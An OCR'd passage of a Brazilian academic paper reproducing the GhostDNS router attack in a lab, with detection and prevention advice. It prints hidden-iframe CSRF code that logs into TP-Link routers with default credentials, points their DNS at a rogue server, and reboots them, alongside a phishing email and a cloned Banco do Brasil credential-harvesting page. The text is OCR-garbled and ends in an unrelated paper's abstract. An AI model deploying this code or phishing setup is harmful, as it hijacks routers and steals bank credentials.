executada dentro de outra pagina web (HOSTINGER, 2019).
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Aspectos Metodologia utilizada
Natureza Pesquisa aplicada
Abordagem Qualitativa
Objetivos Exploratdria
Procedimentos Experimental

Fonte: Elaborado pelos autores, 2019.
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Quanto a natureza, este trabalho classifica-se como pesquisa
aplicada objetivando a busca por conhecimento, ¢ correlata com a
pesquisa basica, mas com énfase a gerar conhecimentos para a aplicagdo
pratica. De acordo com Gil (1989, p. 43),

“[...]Ja pesquisa aplicada possui muitos pontos de
contato com a pesquisa pura, pois depende de suas

descobertas

e se enriquece

com

seu

desenvolvimento, todavia, tem como caracteristica

fundamental o interesse na aplicagdol...] .

Como neste trabalho ndo se apresentam dados para serem
quantificados, foi utilizada a abordagem qualitativa, que, segundo
Gerhardt e Silveira (2009), busca explicar o porqué das coisas, seguindo

o principio deste trabalho.

No quesito de objetivos, foi utilizado o modelo de pesquisa
exploratoria, que, como cita Gil (2002), tem como objetivo familiarizar o
problema e tornd-lo mais explicito ou construir hipdteses, buscando o
aprimoramento de ideias ou a descoberta de intuigdes.

Nos procedimentos técnicos utilizou-se a pesquisa experimental.
Conforme Severino (2007), a pesquisa experimental busca selecionar
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determinadas variaveis no intuito de estudar, analisar e manipular para a
obtencdo do resultado almejado.

3.2 MATERIAIS

Para o desenvolvimento deste trabalho foram utilizados os seguintes
materiais conforme apresenta o Quadro 2.

Quadro 2 - Materiais utilizados no teste.

Item Funcao
VPS 2 com S.O. Servidor DNS Bind9 para ser
Debian, processador | utilizado como rogueDNS;

2.4Ghz, 20Gb HD
WebServer para hospedar as

paginas de phishing;

WebServer para hospedar a
pagina falsa do IFC infectada pelo

malware.
Roteador TP-Link CPE do cliente vulneravel ao
modelo TL-WR740N ataque utilizado para demonstracgdo.
Notebook ASUS i-5 Vitima do ataque.

1.70Ghz dual core, 6Gb
RAM, 1 Tb HD e S.O.
Windows 10

Fonte: Elaborado pelos autores, 2019.

22VPS ¢é um servidor privado pessoal, possibilita a execu¢dio de diferentes
sistemas operacionais ou servigos em um mesmo hardware simultaneo, sendo
disponibilizado por empresas para ser alugado (SILVA; OLIVEIRA, 2007).
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Para facilitar o entendimento do papel de cada equipamento,
segue a ilustragdo na Figura 3.

Figura 3: Arquitetura utilizada no teste.

Website Phishing Servidor rogueDNS

:

WebSite infectado malware (( )) @ (S

~

Roteador Vulneravel Vitima
Fonte: Elaborado pelos Autores, 2019.

3.2 PROCEDIMENTOS METODOLOGICOS

Neste trabalho os procedimentos de pesquisa foram divididos em quatro
etapas, como pode ser observado na Figura 4.
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Figura 4 - Fluxograma das etapas de elaboragdo do trabalho.

Etapa 1

Etapa 2

.

Etapa 3

Etapa 4

-

Fonte: Elaborado pelos autores, 2019.

A etapa inicial foi apresentada por meio do capitulo 1 e 2, que
descrevem o problema e brevemente os conceitos fundamentais das
tecnologias utilizadas e servigos para o desenvolvimento deste trabalho.

A segunda etapa, a configuracdo dos servidores, como o
rogueDNS, foi realizada em um VPS. O sistema operacional escolhido foi
o Debian 9, a instalagdo VPS ¢ realizada diretamente no site da
Hostinger®.

O servidor rogueDNS foi configurado utilizando o servigo de
servidor DNS Bind9. Apds a configuragdo foram aplicados testes para
verificar a efetividade sobre as resolu¢des de nomes de dominios.

Em um mesmo VPS ¢ possivel instalar diversos servicos, neste
caso, o servidor Web foi instalado no mesmo VPS do servidor rogueDNS.
Utilizou-se entdo, o servigo de servidor Web Apache, sendo configurado
em conjunto com o PHP e adicionados os arquivos que simulam a pagina
verdadeira do Banco do Brasil. Concluida a instalagdo, foram realizados

23 Hostinger é uma empresa provedora de hospedagem de servidores virtuais,
hospedagem de sites, fundada em 2004 (HOSTINGER, 2019).
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os testes em conjunto com o servidor rogueDNS, analisando se a
solicitagdo da pagina “www.bb.com.br” estava sendo redirecionada pelo
rogueDNS ao servidor de phishing.

Para poder simular uma pagina na Internet falsa infectada, foi
clonada a pagina inicial do IFC — Campus Avangado Sombrio, situada no
endereco "www.sombrio.ifc.edu.br". A pagina falsa foi hospeda no
mesmo VPS dos outros servigos.

Os scripts do modulo ghostDNS foram modificados utilizando o
editor de texto Notepad ++. O primeiro script modificado foi o index.php,
sendo introduzido no cdédigo o local em que estava hospedada a pagina
falsa do IFC — campus Avangado Sombrio e inserido na tag iframe um
comando para chamar o primeiro script do ghostDNS, denominado de
passol.php.

No script passol.php foi configurado para tentar obter acesso ao
roteador da vitima, por meio da pagina inicial de configuracao do roteador.
Se o script “logar” com sucesso no roteador, passard a executar o script
passo2.php, continuando a execu¢do do codigo.

Na configuragéo do script passo2.php foi definido a alteragdo das
configuracdes dos servidores DNS primario e secundario do roteador,
configurando, assim, os enderegos IP do servidor rogueDNS e executando
o proximo script denominado reboot.php.

O ultimo passo do script ghostDNS € executar o reboot.php,
fazendo que o roteador seja reiniciado, concluindo e ativando a
configuragdo do endereco IP do servidor rogueDNS no roteador.

Cabe salientar que a pagina infectada, pode ser uma pagina falsa
especifica para este fim ou um atacante pode inserir os c6digos em sites
populares, que possuam vulnerabilidades em seu desenvolvimento, desta
forma, alcancando um maior nimero de vitimas. No entanto, para este
trabalho, foi elaborado uma pagina especifica para este fim.

Foi necessario criar um e-mail para o envio de mensagens de
phishing. Para isso se utilizou o servico de Webmail da empresa Google,
criando uma conta com o enderego “cp.ifcsombrio.tcc@gmail.com” em
que se assemelha ao e-mail original do IFC — campus Avangado Sombrio
“cpa.sombrio@ifc.edu.br”. Na sequéncia, o corpo da mensagem de
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phishing foi construido baseando-se na mensagem de ‘“avalia¢do
institucional do IFC” (BITENCOURTE, 2019), conforme ilustra a Figura
5, e sendo adicionado ao link “AVALIACAO INSTITUCIONAL
QUESTOES PARA DISCENTES” o enderego da pagina falsa do IFC
hospedada no VPS no endereco “http//93.188.165.197/index.php”.

Figura 5 - E-mail falso da avaliagdo institucional do IFC.

Il Excuir T Arquivar ® Lixo Eletrénico v & Limpar 53 Mover

~  Favoritos AVALIACAO INSTITUCIONAL Alunos Redes de Computadores

& Lixo Eletrénico cp sombrio <cp.ifcsombrio.tcc@gmail.com>
Sex, 01/11/2019 11:15
Caixa de Entrada Para: regis.bitencourte@hotmail.com

Fonte: Elaborado pelos autores, 2019.

Apo6s configurado o e-mail de phishing, foram realizados os
testes enviando o e-mail para uma conta de Webmail da empresa
Microsoft. Ao clicar no link do e-mail falso foi testado o correto
direcionamento para a pagina falsa.

Na segunda etapa, que consiste em realizar o teste de invasdo no
roteador, utilizou-se o laboratoério 38 do IFC — Campus Avancado
Sombrio, com a supervisdo do professor orientador Marcos Henrique de
Morais Golinelli. O roteador foi conectado na rede do IFC na porta WAN
obtendo o endereco IP 172.16.37.50, recebendo a mascara de sub-rede
255.255.255.0 e o gateway padrido 172.16.37.1, sendo atribuido
dinamicamente o DNS primario 208.67.222.222 e o DNS secundario
208.67.220.220.

O notebook que simula a vitima foi conectado no wireless do
roteador, obtendo o acesso a Internet. No laboratério do IFC - Campus
Avangado Sombrio foi verificado se todos os servidores estavam rodando
corretamente, possibilitando a inicializacdo do teste de invasdo no
roteador.

Na terceira etapa, foram descritos os resultados obtidos,
apresentando a aplicagdo do teste do ghostDNS, o funcionamento do
servidor rogueDNS e da pagina de phishing. Por fim. na quarta etapa,
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foram elaboradas as consideragdes finais, explanando sobre as boas
praticas para evitar o ataque, métodos de identificacdo do ghostDNS e
dificuldades na elaboragdo do trabalho, e, por ultimo, relacionados itens
para trabalhos futuros.

4. RESULTADOS

Para apresentar um panorama das etapas executadas no ataque do
malware ghostDNS, foi elaborado um diagrama, como ilustrado na Figura
6, em que cada passo ¢ descrito na sequéncia.

Figura 6 - Arquitetura de execug@o do ghostDNS.
7 NN

Ry

7 - Site falso

6 - Website Phishing 5 - Servidor rogueDNS

~—

~

2 - WebSite infectado

(@

3 - Malware

Roteador Vulneravel Vitima l‘\
s @
<
L
4 - Site legitimo 1 - E-mail

Fonte: Elaborado pelos autores, 2019.

1 - A vitima recebe um e-mail falso contendo um link para o site
infectado;

2 - Ao clicar no link a vitima acessa o WebSite infectado;

3 - O malware acessa o roteador vulneravel reconfigurando o
enderego IP dos servidores DNS;

4 - A vitima acessa um site de servigo bancario / financeiro;
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5 - O rogueDNS responde a solicitagdo direcionando para o
servidor de phishing;

6 - O servidor de phishing responde com o endereco de um site
legitimo;

7 - A vitima acessa a pagina falsa e insere dados que serdo
capturados pelos atacantes.

Concluindo as etapas, os cibercriminosos utilizam os dados para
aplicar golpes financeiros.

Com intuito de apresentar a diferenga no roteador antes do ataque,
pode-se verificar pelas Figuras 7 e 8, que as configuracdes de endereco IP
da interface WAN e do servico de DHCP do roteador estio ajustadas de
forma automatica.
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Figura 7 - Configuracao dindmica do roteador.

Tipo de Conexdo da WAN: Detectar
Enderego IP: 172.16.37.50
Mascara de Sub-rede: 255.255.255.0
Gateway Padrao: 172.16.371
Renovar Liberar
Tamanho MTU (em bytes): (Valor padriio: 1500. NZo altere, a menos que seja necessario.)
O Usar estes servidores DNS
DNS Primario: 208.67.222.222
DNS Secundario: 208.67.220.220  (Opcional)

Nome de Computador: | TL-WR740N

O Obter IP com Unicast DHCP (opcional)

Salvar

Fonte: Elaborado pelos autores, 2019.

As configuragdes do DHCP do roteador sdo verificadas para dar
inicio ao teste de invasdo. Na Figura 8 foi apresentado a configuracio
padrdo do roteador, sendo que o DNS primario e secundario estdo
configurados com 0.0.0.0.
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Figura 8 - Configuracdo DHCP do roteador.

DHCP - Configuragdes

Servidor DHCP: () Desabilitado (@ Habilitado
Primeiro Enderego IP: |192.16B‘DA100 |
Ultimo Enderego IP: [192.168.0.199 |
Tempo de Renovagio do Enderego: |12(] ‘ minutos (de 1 a 2880 minutos. Valor padréo: 120).
Gateway Padréo: [192.168.0.1 | topcionan
Dominio Padrio: [ | contionan
DNS Primario: [0.0.0.0 | coptional)
DNS$ Secundario: |0.0.0.0 |(°F’U0ﬂﬁ|)
Salvar

Fonte: Elaborado pelos autores, 2019.

Foi enviado um e-mail contendo uma mensagem de phishing,
com assunto relacionado a avaliacdo institucional do Campus Avancado
Sombrio, semelhante & mensagem original. Conforme ilustra a Figura 9,
ao clicar no link “AVALIACAO INSTITUCIONAL QUESTOES PARA
DISCENTES?”, a vitima foi redirecionada para a pagina do IFC — Campus
Avancado Sombrio hospedada no enderego
“http//93.188.165.197/index.php”, como apresenta a Figura 10.
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Figura 9 - E-mail de phishing.
AVALIAGCAO INSTITUCIONAL Alunos Redes de Computadores

cp sombrio <cp.ifcsombrio.tcc@gmail.com>
Sab, 02/11/2019 09:30
Vocé ¥

Bom dia Caro Estudantes de Redes de Computadores

O IFC esta realizando sua Avaliacdo Institucional e conta com sua participagdo
na realizacdo deste processo.

Vocé tem até o dia 30 de outubro para participar!

O questionario é simples & objetivo, vocé levara entre 5 e 10 minutos
para responder as questdes.

Ajude a Construir um IFC cada vez melhor!

Comisséo Local de Avaliagdo (CLA - Campus Avangado Sombrio)
Este &€ um convite para voce preencher o formulario:

AVALIAGAQ INSTITUCIONAL QUESTOES PARA DISCENTES

Responder até dia 30/10/19.

Fonte: Elaborado pelos autores, 2019.

Nesta simulagdo de ataque, este passo pode ser o mais facil de
ser descoberto por causa do endereco IP na barra do navegador, no entanto,
o criminoso pode realizar um ataque mais elaborado criando um dominio
falso parecido com o original.
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Figura 10 - Redirecionamento para pagina IFC.

® 93.188.165.197/index.phy

&3 srasu Simplifique!  Participe  Acesso & informagio

m

INSTITUTO FEDERAL
BEN Catarinense
BB Campus Avancado Sombrio

Institucional | Acessoa Informagdo | Alunos | Cursos | Ensino S Extensdo | Transpar

Contato

Sevielorzs consuliein eporuniclerezs
oz [Femenio @ [Even

6L

Fonte: Elaborado pelos autores, 2019.

Como a pagina do IFC — Campus Avangado Sombrio estd
infectada com o malware ghostDNS, assim que a vitima acessar o site, 0
script ghostDNS executa o mddulo DNSchanger, que em sequéncia
executard o primeiro script, denominado passol.php, apresentado na
Figura 11 na linha 24.
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Figura 11 - Modulo DNSchanger index.php.

1 <!DOCTYPE html>

2 <html lang="en">
3 H<head>
4 <meta charset="UTF-8">
5 <title>Teste invasao</title>
6 o <style type="text/css">
*{

padding: Opx;
margin: Opx;

e}
0

}
</style>
t</head>
H<body>

<iframe height="100%" width="100%" framebordesr="0"

oUW N

position:absclute;top:0px;left:0px;right:0px;bottom:0px"
=] src="http://93.188.165.197/index.html">

20 |(</iframe>
21
22 <iframe name="google-analyticss" id="google-analyticss" frameborder="0Q"
23 style="position:absolute;width:0;height:0;"
R4 o src="http://93.188.165.197/passol.php">|
2% Index.php
26 (</iframe>
F</body>
L</html>

Fonte: Elaborado pelos autores, 2019.

Na Figura 12, na linha 3, o script passol.php é executado,
enviando como parametros para o navegador da vitima a solicitacdo de
login no roteador, tentando acessar o enderego IP padrao 192.168.0.1 e
passando as credenciais de login com o usuario definido como “admin”
e a senha “admin”, que neste caso sao padrdes definidos pelo fabricante.
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Figura 12 - Modulo DNSchanger passol.php.

1 <iframe name="google-analyticss" id="google-analyticss" frameborder="Q"

<META http-equiv="refresh" content="1URL=passo?.php">]

2 style="position:absolute ;width:0px height:0px;"

3 ©  src="http://admin:admin@192.168.0.1/userRom/loginRpm. htn?Save=Save" >|
4 { Passol.

5 -¢/iframe>

Fonte: Elaborado pelos autores, 2019.

Se o acesso ao roteador for efetuado com sucesso, o script do
DNSchanger executa a segunda etapa do codigo, chamando o script
passo2.php, como ilustra a Figura 13, linha 3. Esse script consiste em
alterar o DNS primdrio e o DNS secundério do roteador para o enderego
IP do servidor rogueDNS, enviando as modificagdes pelo navegador da
vitima ao enderego IP 192.168.0.1 e passando as informag¢des como a
faixa de DHCP, o endereco IP do gateway e endereco IP do servidor
rogueDNS.

Figura 13 - Médulo DNSchanger passo2.php.

1 <iframe name="google-analyticss" id="google-analyticss" frameborder="0"
2 style="position:absolute;width:0px height:0px;"

3 src="

165.197sdnsserver2=93.188.165.197&5ave=4B1%A3+%B43E6">

http://192.168.0.1/userRpm/LanDhcpServerRpm. htm?dhepserver=15ipl=192.168.0.1
008ip2=192.168.0.199%slease=120&gateway=192.168.0.1&sdomain=&dnsserver=93.188.

4 { PassoZ.
5 L</iframe>

<META http-equiv="refresh" contentz"l;URL:reboot.php">|

Fonte: Elaborado pelos autores, 2019.

No teste de invasdo aplicado no roteador, foi utilizado o endereco
IP 93.188.165.197, proveniente do servidor rogueDNS criado no VPS
para responder de forma fraudulenta as requisi¢des DNS, redirecionando
a vitima ao servidor de phishing. Ainda foi definida a faixa de endereco
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IP para o servidor DHCP no coédigo como 192.168.0.100 a 192.168.0.199
e endereco de gateway como 192.168.0.1.

Se todas as etapas de execugdo anteriores forem concluidas com
sucesso, 0 DNSchanger passara a executar a ultima parte do script, o
reboot.php, como apresenta a Figura 14, linha 3. Neste cddigo ¢é passado
para o roteador da vitima, via navegador, que ele realize a fungéo reboot,
para que as configuracdes inseridas pelo passo2.php sejam aplicadas.

Concluidas todas as etapas, o computador da vitima terda uma
breve queda de conexdo e o roteador serd reiniciado para aplicar as
modificagdes. Sem saber, a vitima teve seu roteador invadido e
reconfigurado com os enderecos IP do servidor rogueDNS, que realizara
todas as traducdes das solicitagdes de DNS.

Figura 14 - Modulo DNSchanger reboot.php.

1 <iframe nams="google-analyticss" id="google-analyticss" frameborder="0"
2 style="position:absolute width:Opx height:Opx,"

: B src="http://192.168.0.1/userRpn/SysRebootRpm. htn?Reboot=Reboot">

4 { Reboot.

5 L¢/iframe>

Fonte: Elaborado pelos autores, 2019.

E possivel analisar se houve a correta execugdo do script
DNSchanger verificando o arquivo de log do servidor Web, conforme
ilustra a Figura 15.
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Figura 15 - Log do servidor Web.

2 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101
Firefox/ 68.0"

45.224.240.65 - - [07/Nov/2019:01:12:56 +0000] "GET /index.php HTTP/1.1" 200 625

4 45,224.240.65 - - [07/Nov/2019:01:12:56 +0000] "GET /index.html HTTR/1.1" 200 12

|5 701 "http://93.188.165.197/index.php"| "Mozilla/5.0 (Windows NT 10.0;

6 Win64; x64; rv:68.0) Gecko/20100101 Firefox/€8.0"
|7 45,224.240.65 - - [07/Nov/2019:01:12:56 +0000] "GET /passol.php}HTTP/l.l" 200 46

7 "http://93.188.165.197/index.php" "Mozilla/5.0 (Windows NT 10.0;

Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0"

45.224.240.65 - - [07/Nov/2019:01:12:58 +0000] "GET /passo2.phpiHTTP/1.1" 200 53

11 9 "http://93.188.165.197/index.php" "Mozilla/5.0 (Windows NT 10.0;

Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0"
|l? 45,224.240.65 - - [07/Nov/2019:01:13:00 +0000] "GET /reboot.phleTTP/l.l"

14 2 "http://93.188.165.197/index.php" "Mozilla/5.0 (Windows NT 10.0;

15 Win64; x64; rv:68.0) Gecko/20100101 Firefox/€8.0"

Fonte: Elaborado pelos autores, 2019.

A linha 5 indica que a vitima acessou a pagina inicial do IFC —
Campus Avangado Sombrio pelo registro de acesso ao endereco
http://93.188.165.197/index.php e o registro da linha 7 indica que o script
passol.php foi executado. As linhas 10 e 13 indicam a execu¢do do
passo2.php e reboot.php, respectivamente.

E importante salientar que o malware ghostDNS executa todos os
passos do ataque diretamente no navegador da vitima, sem
redirecionamento de pagina, tornando dificil a detecgdo da alteracdo do
servidor DNS no roteador.

Apds o término da execugdo do malware, para garantir a
efetividade do ataque, foram verificadas as configuragdes do roteador.
Conforme a Figura 16, as configuragdes do DHCP foram alteradas para o
servidor rogueDNS com enderego IP 93.188.165.197, modificado tanto
no DNS priméario como no DNS secundario.
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Figura 16 - Alteragdo do enderego DNS para o servidor
rogueDNS.

DHCP - Configuragoes

Servidor DHCP: () Desabiltado (@) Habilitado
Primeiro Endereco IP: |192.168‘0.100 |
Ultimo Endereco IP:  [102.168.0.199 |
Tempo de Renovagio do Endereco: |12(] | minutos (de 1 a 2880 minutos. Valor padréo: 120).
Gateway Padrio: |192.168‘0.1 |(opcicna|)
Dominio Padrio: | |[optiona|)

DNS Primario: |93,133‘155,197 |(optiona|)
DNS Secundario:  |93.188.165.197 | (optional)

Salvar
Fonte: Elaborado pelos autores, 2019.

Com a troca do servidor DNS no roteador, as requisi¢des de
resolu¢do de nomes de dominio passam a ser respondidas pelo servidor
rogueDNS. A partir desta, sera realizado passo a passo o que seria o
resultado de um ataque real, caso a vitima fosse cliente do Banco do Brasil
e realizasse o acesso ao portal do banco. A Figura 17 apresenta a pagina
falsa no navegador da vitima ao acessar o site do BB.
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Figura 17 - Pagina falsa criada no servidor web de phishing.

vw.bb.com.br

» Atendimento

> E - M AQE 3 Conta m 5‘ 'mfrf‘

» Private ~ Empresa

» Vocé » Estilo

« Governo

Conta Corrente e Servigos Crédito Carides Investimentos Seguros Previdéncia

Fonte: Elaborado pelos autores, 2019.

Capitalizacdo

A solicitagdo da vitima foi redirecionada para o servidor de
phishing. A pagina acessada anteriormente na Figura 17 se parece com a
pagina original do Banco do Brasil. A vitima, sem conhecimento do

redirecionamento, insere o numero da sua agéncia e a conta corrente,
como mostrado na Figura 18.

Figura 18 - Capturando agéncia e conta na pagina de phishing.

() wO ywww.bb.com.br

Acesse sua Conta

& |Bra5|l o
4

» Atendimento /
19 Titular ~ 0955 5084878704 h:, gl

> Vocé » Estilo » Private

« Empresa « Governo

Conta Corrente e Servigos Crédito Carides Investimentos Seguros Previdéncia Capitalizacdo

Fonte: Elaborado pelos autores, 2019.

Depois de preenchidos os dados solicitados pela pagina, como
agéncia e numero da conta corrente, a vitima ¢ redirecionada para o

proximo passo, sendo induzida a informar a senha de oito digitos,
conforme apresenta a Figura 19.
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Figura 19 - Obtendo a senha da vitima na pagina de phishing

| oo 2=

< Lo 1=r G www . bb.com.br,

Autoatendimento

Titulanr: Como acessar
1° Titular -~ > Criacio de sent

. R > R = mi
Agenciac Conta: e s

0955 3508487870-4 > Termo de Uso do

Outros acessod
> MN&o-Correntists
> Deticiente Visus

Senha de autoatendinnento (8 digitos):
123456]

Caso ndo possua senha, cligque
i > LRilizando certifi

u hu || Sumarte Técnica

Fonte: Captura feita pelos autores, 2019.

Ao inserir a senha de oito digitos, o site falso redireciona a vitima
para uma nova pagina, desta vez ¢ solicitado o nlimero de celular e a sua
senha de seis digitos, como apresenta a Figura 20.

=Il INSTITUTO FEDERAL

Catarinense



121

Figura 20 - Capturando a senha e o ntimero de telefone

Z Autoatendimento

¢ C @
> Atendimento/SACOuvidoria Acessivel para deficier

Ache Facil!  Digte transacdo dessjada |b

P B Conta-corrente e B Credito B Cartoes
Consultas
'G TR "
~an— B Sequros B Capitalizacao e B Servicos e
Consorcios Seqguranca

> Preencha corretamente todos os dados solicitados abaixo, em instantes vocé recebera
o0 codigo de liberagdo em seu celular

ATENCAO: O celular deve estar cadastrado em sua conta no Intemet Banking
(O Tenho celular cadastrado @ Nao tenho celular cadastrado
Celular:

51 v | - |9999-9999

Esta transagao deve ser confirmada com a senha do cartao (6 digitos):

D [ uvess D

Fonte: Captura feita pelos autores, 2019.

A vitima continua a ser redirecionada pelas paginas falsas e
dando prosseguimento nas solicitagdes, nesta etapa do golpe ¢ solicitado
a vitima sua senha de quatro digitos, conforme a Figura 21.
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Figura 21 - Capturando a senha de 4 digitos

& Autoatendimento X Ies

< C ® ® & www.bb.com.br/finaliza.php
» Atendimento/SACOuvidoria Aoessivel para
Ache Facill | Digite transagéo desejada |b
P B Conta-comrente e B Crédito B Carntoe
Consultas
'G
B Sequios B Capitalizagao e B Servicos e
Consorcios Seguranca

» Para finalizar digite sua senha de (4 digitos)

Senha de (4 digitos):

Fonte: Captura feita pelos autores, 2019.

A vitima, concluindo o procedimento de inser¢do de dados
pessoais no site falso do Banco do Brasil e clicando no botdo “continuar”,
envia seus dados confidenciais para os cibercriminosos. A Figura 22
ilustra como os dados sdo recebidos.
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Figura 22 — Dados da vitima que seriam recebidos pelo
cibercriminoso.
1 (25-Cct-2015% 18-56-41) (200.135.57.137)
2 (Mozilla/5.0 (Windows NT 10.0; Win6d4; =x€4; rv:68.0)
Gecko/20100101 Firefox/E8.0)
5 Titular: 1
= Lgencia: 0555
Conta: 3508487870-4
Senha de 8 Digitos: 12345678
Senha de € Digitos: 123456
10 DDD DO CEL: 51
11 NUMERC DO CEL: 5555-5555
12 IP: 200.135.57.137

wom

(29-0ct-201% 18-57-30) (200.135.57.137) ()

16 Senha de 4 Digitos: 1234
17 IP: 200.135.57.137

Fonte: Elaborado pelos autores, 2019.

Destaca-se que ¢ de dificil detecgdo o ataque ghostDNS pelo fato
da insercdo do servidor rogueDNS ser implementada diretamente no
roteador do usuario, sem a necessidade do comprometimento do
computador da vitima com a execucdo/instalagdo de softwares. O
processo de troca ocorre apenas ao acessar um link ou uma pagina Web
contendo os scripts do ghostDNS implementados.

5. CONSIDERACOES FINAIS

Com base nos resultados obtidos por meio desse trabalho, verificou-se
que a utilizagdo da técnica do ghostDNS ¢ eficaz e de dificil detecgdo. O
teste mostrou que o método de invasdo do roteador ¢ eficaz e silencioso,
ndo alertando o usudrio quanto a sua utilizagdo. Tanto o servidor
rogueDNS quanto o servidor Web de phishing funcionaram conforme o
esperado, redirecionando o fluxo de requisigdes para as paginas falsas e
realizando a coleta de informagdes confidenciais digitadas pelas vitimas.

Uma das formas de identificar ghostDNS configurado no
roteador do usuario € utilizando mecanismos de consulta de DNS, como
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o nslookup?®* para a busca de IPs desconhecidos configurados no roteador.
Como ¢ apresentado na Figura 23, pode ser observado na linha 1 que o
servidor DNS inserido no roteador ¢ um servidor “UnKnown” (do inglés:
desconhecido), neste caso, gera suspeita que possa ser um DNS
fraudulento. Na linha 2 ¢ informado o endereco IP deste servidor
93.188.165.197, na linha 5 e 6 mostra-se as informagdes referente ao site
consultado, que neste caso foi o do Banco do Brasil.

Figura 23 - Consulta ao servidor DNS falso.
il Servidor: TUnknown
2 Address: 93.1E88.165.197

4 Nome : wek.kk.com.br
5 bddress: 5©3.188.165.1%57
o Aliases: www.bb.com.br

Fonte: Elaborado pelos autores, 2019.

Na Figura 24 ¢ apresentado a consulta DNS, utilizando um
servidor DNS verdadeiro. Analisando a linha 1, ¢ especificado o nome do
servidor DNS. A linha 2 apresenta qual enderego IP este servidor DNS
utiliza.

Figura 24 - Consulta ao servidor DNS verdadeiro.
1 Serwvidor: dns.google
2 Address: S8.5.8.8

]

1 N&o & resposta autoritativa:
= Nome : wWWww.dc.bb.com.br

il Lddresses: 170.66.11.10

T 170.66.192.50

2 Alijases: wWWww.bbk.com.br

Fonte: Elaborado pelos autores, 2019.

24 Nslookup é uma ferramenta utilizada para obter informacdes
sobre registro DNS (CCM.NET, 2019).
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Conforme ilustra a Figura 25, também ¢é possivel verificar os
detalhes da conexdo de rede do sistema operacional Windows 10 e ver
qual endereco IP do servidor DNS esta sendo utilizado na linha com os
dizeres “servidores DNS IPv4”. Recomenda-se o uso de servidores DNS
publicos, como o servidor DNS da Google (8.8.8.8 ¢ 8.8.4.4), o servidor
DNS da CloudFlare (1.1.1.1 ¢ 1.0.0.1), bem como o DNS da OpenDNS
(208.67.222.222 ¢ 208.67.220.220).

Figura 25

- Detalhes da conexdo de rede.

Detalhes da Conex3o de Rede x

Detalhes da Conexdo de Rede:

Propriedade

Sufixo DNS especifico aco.__.

Descricdo

Endereco Fisico

DHCP Atvado

Endereco IPv4

Mascara de Sub-rede IPv4
Concessdo Obtida
Vencimento da Concessao
Gateway Padrdo IPv4
Servidor DHCP IPv4

Valor

Realtek PCle GBE Family Coniroller
38-2C4A-E6-D5-74

Sim

192.168.0.100

2552552550

terca-feira. 29 de outubro de 2019 15:05:02
terca-feira. 29 de outubro de 2019 17:15:221
192.168.0.1

192.168.0.1

Servidores DNS IPv4

93.188.1656.197
93.188.165.197

Servidor WINS IPv4

NetBIOS sobre Tcpip Habi...

Endereco IPv6 link-local
Gateway Padrio IPv6
Servidor DNS IPv6

Sim
fe80-50291309:8c56:a497%9

Fonte: Elaborado pelos autores, 2019.

A principal forma de evitar o ataque do ghostDNS é:realizar a
troca do login e senha que sdo definidos como padrdes pelos fabricantes
nos roteadores. Outra forma de evitar que o roteador seja invadido é:

e evitar de clicar em hyperlinks que desconfie;

® ndo clicar em anlncios ou acessar sites de fontes duvidosas;
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® evitar abrir videos polémicos que circulam pelas redes sociais;

e cuidado ao abrir mensagens de texto no celular que contenham
links;

® procurar atualizar a versao do firmware no roteador;
® manter um antivirus instalado e atualizado;

e ¢ realizar atualizaces automaticas dos navegadores, bem como
do sistema operacional.

A maior dificuldade encontrada no desenvolvimento deste
trabalho, foi a obtencdo dos codigos do malware ghostDNS. Apos intensa
pesquisa em foruns sobre ciberseguranca e repositorios de cddigos na
Internet, ndo foi possivel encontra-los. Assim, foram disponibilizados
pelo professor Marcos Henrique de Morais Golinelli, que por sua vez,
obteve ao investigar uma maquina virtual invadida e utilizada na
aplicagdo deste golpe, disponibilizando os c6digos em sua forma original.
Foi necessario realizar a identifica¢do de qual parte do codigo funcionaria
no roteador wireless disponivel para desenvolvimento do trabalho, além
da configuragio e da edi¢do do codigo adaptando-o para o uso especifico.

Como medidas para os usuarios, a partir do momento que
identificar ou suspeitar que foi vitima de um crime virtual, deve
comunicar as delegacias especializadas em crimes virtuais. A Agéncia
Nacional de Telecomunicagdes (ANATEL) recomenda que se ndo houver
uma delegacia especializada em crimes virtuais no estado em que reside,
a vitima podera registrar em uma delegacia civil proxima. Apds o registro
na delegacia especializada, ¢ possivel reportar o incidente por e-mail a
Cert.br (Centro de Estudos, Resposta e Tratamento de Incidentes de
Seguranca no Brasil).

E de extrema importancia comunicar um incidente, pois ajuda a
identificar e prevenir novas ocorréncias, contribuir pela seguranga geral
da Internet, além de permitir gerar dados estatisticos, assim auxiliando na
elaborag@o de materiais para orientar usuarios quanto as boas praticas da
utiliza¢do da Internet.
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6 TRABALHOS FUTUROS

Como trabalhos futuros, recomenda-se a implementagdo do script
ghostDNS, utilizando os moddulos de ataque que contenham uma
quantidade maior de scripts do DNSchanger, possibilitando a tentativa de
invadir um niimero maior de roteadores.
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Abstract. The use of information and communication technology tools
can contribute to the teaching-learning process. The objective of this
paper is to present the wireless network available to students of the final
years in the municipal schools of Jacinto Machado - SC, using the
NxFilter security tool to perform content filtering. The methodology
employed was bibliographic, technological and qualitative research.
Through the application of a questionnaire to teachers, it was observed
the importance of using the internet in the development of classes. As
results achieved, it can be identified that the provision of internet access
to students had a positive impact on the teaching-learning process, in
addition to contributing to classroom research. Besides, NxFilter
security software has allowed sites considered inappropriate for the
school to be blocked.

Keywords. Teaching-learning. Wireless network. Security tool.

Resumo. O uso de ferramentas tecnologicas de informagdo e
comunicagdo podem contribuir para o processo de ensino-aprendizagem.
O objetivo desse trabalho visa apresentar a disponibilizagdo de rede sem
fio aos alunos dos anos finais das escolas municipais de Jacinto
Machado — SC, utilizando a ferramenta de seguran¢a NxFilter para
realizar a filtragem de contetido. A metodologia empregada foi pesquisa
bibliogrdfica, tecnoldgica e qualitativa. Através da aplicagdo de um
questiondario para os professores, observou-se a importincia da
utilizagdo da internet no desenvolvimento das aulas. Como resultados
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alcangados, pode-se identificar que a disponibiliza¢do de acesso a
internet aos alunos acarretou um impacto positivo no processo de ensino-
aprendizagem, além de ter contribuido nas pesquisas em sala de aula.
Além disso o software de seguranga NxFilter permitiu o bloqueio de sites
considerados improprios ao ambiente escolar.

Palavras-chave. Ensino-aprendizagem. Redes sem fio. Ferramenta de
seguranga.

1 INTRODUCAO

Atualmente, a Internet e as tecnologias digitais sdo utilizadas como
ferramentas de aprendizagem, especialmente na escola, que tem o papel
de organizadora e certificadora do processo de ensino-aprendizagem
(MORAN, 2000).

No ambiente escolar, o uso da Internet vem contribuindo como
